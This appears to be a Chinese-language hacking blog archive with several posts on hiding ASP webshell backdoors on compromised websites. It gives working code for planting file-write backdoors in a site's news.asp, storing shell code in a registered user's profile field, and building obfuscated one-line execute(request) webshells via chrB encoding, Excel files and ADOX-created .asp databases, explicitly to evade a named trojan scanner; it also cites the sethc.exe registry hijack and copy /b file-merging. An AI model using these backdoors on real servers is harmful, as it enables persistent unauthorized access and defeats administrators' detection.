修改注册表权限,同上.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

 

分类: 技术文章 标签:

巧妙利用.mdb后缀数据库做后门

2008年9月20日 没有评论 89 views

引言:好长时间了,从刚开始的站点管理器到现在流行的几款asp后门,相信大多网管都能说出这些经典webshell的名字,如海洋、老兵、蓝屏等,也相信大多数的网管学会了关键字的搜索方法来搜索这些木马,当然现在的时间如果再象隐藏后门就要讲些技巧啦,俗话说的好“佛高一尺,我高一丈”。

我不否认n早前的那个把asp木马写到图片文件中不失为一种好的方法,其实不仅可以写到图片啦 写到mp3文件里写到doc文件里都是可以的啦
copy 文件名/参数 + 文件名/参数 生成文件名
这样的方法可以很灵活的运用来达到隐藏文件的目的,具体的参数就是/a以acsic码方式,/b二进制方式,就不罗嗦这些了,至于如何上传webshell,什么是webshell也不属于本文的讨论范围。今天要讲的是如何把后门放到后缀.mdb的数据库中,前提是在我们拿到一个webshell之后...

我们所知道的,很多站点在用户注册的时候要让填好多东西例如:
用户名、密码、QQ、邮箱、个人简介、电话、联系方式、住址一类的
而对应到数据库中也都会有相应的表 字段 值
我今天要做的就是 我注册一个用户在 我的个人简介的地方上写入shell代码,然后修改他站点上的一个文件,使用的时候触发这个文件,就把我个人简历中的shell代码,备份到当前目录下
废话少说了 大家看代码

<%
if request("action")="firefox" then 
fname=request.querystring("fn")
tname=request.querystring("tn")
bname=request.querystring("bn")
id=request.querystring("id")
idvalue=request.querystring("idv")
set rs=server.createobject("ADODB.recordset")
sql="select "& bname & " from "&tname& " where "&id&"="&idvalue&""""
rs.open sql,conn,1,3
if not rs.eof then
content=rs(bname)
else
response.write "Nothing"
end if
set fso=Server.CreateObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(fname))
txtfile.writeline(content)
txtfile.close
end if
%>


将上边的代码加到站点的一个文件中 如news.asp

根据我们了解的信息 在其站点注册后 下载数据库看结构

我注册的firefox名字是在 user表 其id值为119 用于存放我注册简历的表字段为jl

那么在使用的时候我们

news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119


就可以在news.asp相同目录下写入一个名为 firefox.asp的webshell

以上可以说是万千隐藏方法中的一种 下边再说另外一种更方便的隐藏方法

这个方法就和mdb后缀无关系了

同样我们还是修改news.asp 将以下代码插入到对方news.asp中

<%
if request("action")="firefox" then 
n=request.form("n")
c=request.form("c")
set fso=Server.CreateObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(n))
txtfile.writeline(c)
txtfile.close
end if
%>


这段代码相对简单些 算是一个木马的服务端吧

使用的时候以这段代码配合

<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>F.s.t火狐技术联盟[www.wrsky.com]</title>
<FORM action="http://localhost/config.asp?action=firefox" method=post>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY>Name:<INPUT size=50 
name=n width="32"><BR><BR>Shell:<TEXTAREA name=c rows=10 cols=80

width="32"></TEXTAREA><INPUT type=submit value=Save></FORM>
</BODY>
</HTML>


将以上代码中的:

http://localhost/config.asp?action=firefox


替换成你的服务端地址
然后保存为本地的.htm文件

本地打开后定义要生成的文件名 文件内容 远程提交 ok 又是一种留后门的方法

此文没有太高的技术含量 技术交流可以到www.wrsky.com

还望各为大牛多多提携

分类: 技术文章 标签:

两个非常规ASP木马

2007年2月11日 1 条评论 57 views

为了躲避 lake2 ASP站长管理助手而写..

一.绕过lake2 Asp木马扫描的小马
〈%
set c = CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))
set c = Nothing
c&Server.MapPath("a.asp")
set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table nomm(nomuma oleobject)")
set rs=server.createobject("adodb.recordset")
sql="Select * FROM nomm"
rs.open sql,conn,1,3
rs.addnew
rs ("nomuma").appendchunk(chrB(asc("〈"))&chrB(asc("%"))&chrB(asc ("e"))&chrB(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34) &chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc("〉")))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
%〉

二.xls版asp webshell
〈%
Set xlA = Server.CreateObject("Excel.Application")
xlA.Visible = False
xlA.Workbooks.Add
Set xlWorksheet = xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value = "〈%ex"&"ec"&"ute(request(""q""))"+chr(37)+"〉"
’strFile = "d:/test.asp"
strFile = Server.MapPath("test.asp")
xlWorkSheet.SaveAs strFile
xlA.Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
%〉

分类: 技术文章 标签: ,

新型ASP后门

2006年9月25日 没有评论 70 views

作者:netpatch

本是为了逃LAKER2兄 查ASP木马程序的
现在已经挑战成功,已经加为检查对象了。公布出代码给冰点的朋友使使,希望大家喜欢!

利用的是ADOX.Catalog组件

<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)

set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败,原因: " & err.description
Response.End
end if

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

sql="Create TABLE fdata([data] Memo)"
conn.execute(sql)

Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉!一句话后门 execute request(“n”))
rs.update

%>

此脚本主要是利用ADOX.Catalog组件
新建一个名称为netpatch.asp的空数据库文件
然后把一句话木马插入新建的表中作为C/S版本的ASP马用!

优点,比较隐蔽,不容易让人看出这是什么作用的!

分类: 技术文章 标签: ,